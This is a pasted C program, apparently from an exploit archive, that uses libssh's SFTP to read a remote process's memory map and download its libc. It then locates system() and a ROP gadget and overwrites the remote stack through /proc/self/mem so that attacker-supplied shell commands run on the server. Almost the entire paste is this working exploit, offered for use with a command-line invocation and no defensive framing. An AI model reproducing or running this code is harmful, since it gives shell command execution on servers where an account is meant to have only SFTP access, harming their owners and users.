Advertisement
Guest User

aa

a guest
Sep 4th, 2018
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.58 KB | None | 0 0
  1. #include <libssh/libssh.h>
  2. #include <libssh/sftp.h>
  3. #include <stdlib.h>
  4. #include <stdio.h>
  5. #include <sys/types.h>
  6. #include <sys/stat.h>
  7. #include <fcntl.h>
  8. #include <string.h>
  9. #include <errno.h>
  10.  
  11. #define min(a,b) (((a)<(b))?(a):(b))
  12.  
  13. sftp_session sftp;
  14.  
  15. size_t grab_file(char *rpath, char **out) {
  16. size_t allocated = 4000, used = 0;
  17. *out = calloc(1, allocated+1);
  18. sftp_file f = sftp_open(sftp, rpath, O_RDONLY, 0);
  19. if (f == NULL) fprintf(stderr, "Error opening remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1);
  20. while (1) {
  21. ssize_t nbytes = sftp_read(f, *out+used, allocated-used);
  22. if (nbytes < 0) fprintf(stderr, "Error reading remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1);
  23. if (nbytes == 0) {
  24. (*out)[used] = '\0';
  25. sftp_close(f);
  26. return used;
  27. }
  28. used += nbytes;
  29. if (used == allocated) {
  30. allocated *= 4;
  31. *out = realloc(*out, allocated);
  32. }
  33. }
  34. }
  35.  
  36. void dump_file(char *name, void *buf, size_t len) {
  37. FILE *f = fopen(name, "w+");
  38. if (!f) perror("can't write to local file"), exit(1);
  39. if (fwrite(buf, 1, len, f) != len) fprintf(stderr, "local write failed\n"), exit(1);
  40. if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1);
  41. }
  42.  
  43. size_t slurp_file(char *path, char **out) {
  44. size_t allocated = 4000, used = 0;
  45. *out = calloc(1, allocated+1);
  46. FILE *f = fopen(path, "r");
  47. if (f == NULL) perror("opening local file failed"), exit(1);
  48. while (1) {
  49. ssize_t nbytes = fread(*out+used, 1, allocated-used, f);
  50. if (nbytes < 0) fprintf(stderr, "Error reading local file %s: %s\n", path, strerror(errno)), exit(1);
  51. if (nbytes == 0) {
  52. (*out)[used] = '\0';
  53. if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1);
  54. return used;
  55. }
  56. used += nbytes;
  57. if (used == allocated) {
  58. allocated *= 4;
  59. *out = realloc(*out, allocated);
  60. }
  61. }
  62. }
  63.  
  64. int main(int argc, char **argv) {
  65. if (argc != 4) fprintf(stderr, "invocation: ./exploit host user 'shell commands here'\n"), exit(1);
  66. char *target_host = argv[1];
  67. char *target_user = argv[2];
  68. char *shell_commands = argv[3];
  69.  
  70. ssh_session my_ssh_session;
  71. int rc;
  72. char *password;
  73. // Open session and set options
  74. my_ssh_session = ssh_new();
  75. if (my_ssh_session == NULL) exit(-1);
  76. ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, target_host);
  77. ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, target_user);
  78. // Connect to server
  79. rc = ssh_connect(my_ssh_session);
  80. if (rc != SSH_OK) fprintf(stderr, "Error connecting to host: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
  81.  
  82. // Authenticate ourselves
  83. password = getpass("Password: ");
  84. rc = ssh_userauth_password(my_ssh_session, NULL, password);
  85. if (rc != SSH_AUTH_SUCCESS)
  86. fprintf(stderr, "Error authenticating with password: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
  87.  
  88. sftp = sftp_new(my_ssh_session);
  89. if (sftp == NULL) fprintf(stderr, "Error allocating SFTP session: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
  90.  
  91. rc = sftp_init(sftp);
  92. if (rc != SSH_OK) {
  93. fprintf(stderr, "Error initializing SFTP session: %s.\n", ssh_get_error(sftp));
  94. sftp_free(sftp);
  95. return rc;
  96. }
  97.  
  98. char *mappings;
  99. grab_file("/proc/self/maps", &mappings);
  100. //printf("/proc/self/maps dump: \n%s\n\n\n", mappings);
  101.  
  102. printf("got /proc/self/maps. looking for libc...\n");
  103. // 7fc9e742b000-7fc9e75ad000 r-xp 00000000 fe:00 2753466 /lib/x86_64-linux-gnu/libc-2.13.so
  104. long long start_addr, end_addr, offset;
  105. char *libc_path = NULL;
  106. long long stack_start_addr = 0, stack_end_addr;
  107. for (char *p = strtok(mappings, "\n"); p; p = strtok(NULL, "\n")) {
  108. if (strstr(p, " r-xp ") && strstr(p, "/libc-")) {
  109. if (libc_path) fprintf(stderr, "warning: two times libc?\n");
  110. printf("mapping line: %s\n", p);
  111. if (sscanf(p, "%Lx-%Lx %*4c %Lx", &start_addr, &end_addr, &offset) != 3) perror("scanf failed"), exit(1);
  112. libc_path = strdup(strchr(p, '/'));
  113. if (libc_path == NULL) fprintf(stderr, "no path in mapping?"), exit(1);
  114. }
  115. if (strstr(p, "[stack]")) {
  116. if (stack_start_addr != 0) fprintf(stderr, "two stacks? no."), exit(1);
  117. printf("mapping line: %s\n", p);
  118. if (sscanf(p, "%Lx-%Lx ", &stack_start_addr, &stack_end_addr) != 2) perror("scanf failed"), exit(1);
  119. }
  120. }
  121. if (libc_path == NULL) fprintf(stderr, "unable to find libc\n"), exit(1);
  122. if (stack_start_addr == 0) fprintf(stderr, "unable to find stack"), exit(1);
  123. printf("remote libc is at %s\n", libc_path);
  124. printf("offset %Lx from libc is mapped to %Lx-%Lx\n", offset, start_addr, end_addr);
  125.  
  126. char *libc;
  127. size_t libc_size = grab_file(libc_path, &libc);
  128. dump_file("libc.so", libc, libc_size);
  129. printf("downloaded libc, size is %zu bytes\n", libc_size);
  130.  
  131. system("objdump -T libc.so | grep ' system$' | cut -d' ' -f1 > system.addr");
  132. char *system_offset_str;
  133. slurp_file("system.addr", &system_offset_str);
  134. long long system_offset;
  135. if (sscanf(system_offset_str, "%Lx", &system_offset) != 1) perror("scanf failed"), exit(1);
  136. long long remote_system_addr = start_addr+system_offset-offset;
  137. printf("remote system() function is at %Lx\n", remote_system_addr);
  138.  
  139. printf("looking for ROP gadget `pop rdi;ret` (0x5fc3) in libc...\n");
  140. char *gadget = memmem(libc+offset, end_addr-start_addr, "\x5f\xc3", 2);
  141. if (gadget == NULL) fprintf(stderr, "no gadget found :(\n"), exit(1);
  142. long long gadget_address = start_addr + (gadget-(libc+offset));
  143. long long ret_address = gadget_address+1;
  144. printf("found gadget at %Lx\n", gadget_address);
  145.  
  146. printf("remote stack is at %Lx-%Lx\n", stack_start_addr, stack_end_addr);
  147. printf("doing it the quick-and-dirty way (that means: pray that the target"
  148. "program was compiled with gcc, giving us 16-byte stack alignment)...\n");
  149. long long stack_len = stack_end_addr - stack_start_addr;
  150. /*if (stack_len > 32000) {
  151. stack_len = 32000;
  152. stack_start_addr = stack_end_addr - stack_len;
  153. }*/
  154. char *new_stack = malloc(stack_len);
  155.  
  156. // first fill it with our ret slide
  157. for (long long *s = (void*)new_stack; s<(long long*)(new_stack+stack_len); s++) {
  158. *s = ret_address;
  159. }
  160.  
  161. // put some shell commands in the head
  162. strcpy(new_stack, shell_commands);
  163.  
  164. // put the mini-ROP-chain at the end
  165. // [address of pop rdi] [stack head] [address of system]
  166. long long *se = (void*)(new_stack + stack_len);
  167. se[-3] = gadget_address;
  168. se[-2] = stack_start_addr;
  169. se[-1] = remote_system_addr;
  170.  
  171. printf("Prepared the new stack. Now comes the moment of truth: push the new stack over and pray.\n");
  172. sftp_file mem = sftp_open(sftp, "/proc/self/mem", O_RDWR, 0);
  173. if (mem == NULL) fprintf(stderr, "Error opening remote memory: %s\n", ssh_get_error(sftp)), exit(1);
  174.  
  175. // first send over the string
  176. rc = sftp_seek64(mem, stack_start_addr);
  177. if (rc) fprintf(stderr, "Error seeking to remote stack: %s\n", ssh_get_error(sftp)), exit(1);
  178. ssize_t mem_written = sftp_write(mem, new_stack, strlen(shell_commands)+1);
  179. if (mem_written != strlen(shell_commands)+1) fprintf(stderr, "didn't write the whole new stack\n");
  180.  
  181. // now send over the rest right-to-left
  182. for (long long off = stack_len-32000; off >= 0; off -= 32000) {
  183. rc = sftp_seek64(mem, stack_start_addr+off);
  184. if (rc) fprintf(stderr, "Error seeking: %s\n", ssh_get_error(sftp)), exit(1);
  185. mem_written = sftp_write(mem, new_stack+off, 32000);
  186. if (mem_written != 32000) fprintf(stderr, "stack write failed – that's probably good :)\n"), exit(0);
  187. }
  188.  
  189. return 0;
  190. }
  191.  
  192. # 0day.today [2018-09-04] #
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement